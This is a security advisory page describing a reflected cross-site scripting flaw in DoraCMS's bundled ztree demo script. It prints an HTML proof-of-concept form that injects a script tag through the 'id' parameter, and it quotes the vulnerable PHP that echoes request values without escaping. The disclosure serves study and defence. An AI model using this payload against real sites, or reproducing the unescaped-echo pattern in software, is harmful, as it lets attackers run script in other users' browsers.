DoraCMS Cross Site Scripting

2016.12.30
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*| |=============================================================| |[+] Exploit Title: DoraCMS Cross Site Scripting |[+] |[+] Exploit Author: Ashiyane Digital Security Team |[+] |[+] Download Link : https://github.com/doramart/DoraCMS |[+] |[+] Tested on: Kali Linux |[+] |[+] Date: 12 /29 / 2016 |=============================================================| |[+] Exploit Code: <HTML> <HEAD><TITLE>DoraCMS Cross Site Scripting</TITLE></HEAD> <BODY> <form action="http://127.0.0.1/DoraCMS-master/public/plugins/ztree/demo/cn/asyncData/getNodes.php" method="post"> <input type="hidden" name="n" value="n1" /> <input type="hidden" name="lv" value="0" /> <input type="hidden" name="id" value="1.3'"/><ScRiPt >alert('M.R.S.L.Y')</ScRiPt>" /> <input type="hidden" name="otherParam" value="M.R.S.L.Y" /> </form> </BODY> </HTML> ============================================================ Vulnerable code : <?php ?> [<?php $pId = "0"; $pName = ""; $pLevel = ""; $pCheck = ""; if(array_key_exists( 'id',$_REQUEST)) { $pId=$_REQUEST['id']; } if(array_key_exists( 'lv',$_REQUEST)) { $pLevel=$_REQUEST['lv']; } if(array_key_exists('n',$_REQUEST)) { $pName=$_REQUEST['n']; } if(array_key_exists('chk',$_REQUEST)) { $pCheck=$_REQUEST['chk']; } if ($pId==null || $pId=="") $pId = "0"; if ($pLevel==null || $pLevel=="") $pLevel = "0"; if ($pName==null) $pName = ""; else $pName = $pName."."; //for ($i=1; $i<9999; $i++) { // for ($j=1; $j<999; $j++) { // // } //} for ($i=1; $i<5; $i++) { $nId = $pId.$i; $nName = $pName."n".$i; echo "{ id:'".$nId."', name:'".$nName."', isParent:".(( $pLevel < "2" && ($i%2)!=0)?"true":"false").($pCheck==""?"":((($pLevel < "2" && ($i%2)!=0)?", halfCheck:true":"").($i==3?", checked:true":"")))."}"; if ($i<4) { echo ","; } } ?>] |*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*| |[+] Discovered By : M.R.S.L.Y |*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2026, cxsecurity.com

 

Back to Top